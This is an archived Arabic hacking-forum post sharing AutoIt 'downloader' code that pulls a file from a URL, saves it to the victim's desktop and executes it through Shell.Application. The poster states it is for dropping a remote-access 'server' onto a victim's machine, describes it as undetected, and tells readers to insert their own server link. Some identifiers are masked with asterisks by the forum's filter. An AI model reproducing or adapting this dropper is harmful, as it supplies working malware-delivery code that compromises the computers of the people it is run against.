development-point

development-point (https://vb.development-point.com/index.php)
-   الأرشيف (https://vb.development-point.com/forumdisplay.php?f=80)
-   -   كودAutoIt تحميل الملف وتشغيله تلقائى(دونلودر ) (https://vb.development-point.com/showthread.php?t=2776)

‏windows 8 11-07-2012 05:13 AM

كودAutoIt تحميل الملف وتشغيله تلقائى(دونلودر )
 
السلام عليكم اخواتى الاعزاء

اقدم لكم كود AutoIt لتحميل السرفر من رابط مباشر الى جهاز الضحيه (كلين)

كود:
; Thanks to sqebd;=======================================
Global $sFinal = @DesktopDir & "\URL.exe"
sDownloadFile("URL OF FILE")
Sleep(999)
s****************l("File Downloaded")
Func sDownloadFile($sLinkToDownload)
Local $ProtXML ,$sAStream
$ProtXML = ObjCreate("Microsoft.XMLHTTP")
$sAStream = ObjCreate("Adodb.Stream")
$ProtXML.Open("GET", $sLinkToDownload, 0)
$ProtXML.Send
$sAStream.Type = 1
$sAStream.Open
$sAStream.write($ProtXML.ResponseBody)
$sAStream.SaveToFile($sFinal)
$sAStream.Close
EndFunc

;Alternative ****************lexecute
Func s****************l($Path)
Local $****************l = ObjCreate("****************l.application")
$****************l.****************lExecute($Path, "")
EndFunc
طبعا مع مراعة تغير الون الاحمر برابط سرفرك المباشر
وشكرا واستنونا فى مزيد من اكواد بريفد هتطلع للناس
والسلام عليكم


الساعة الآن 03:33 PM

Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
development-point

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47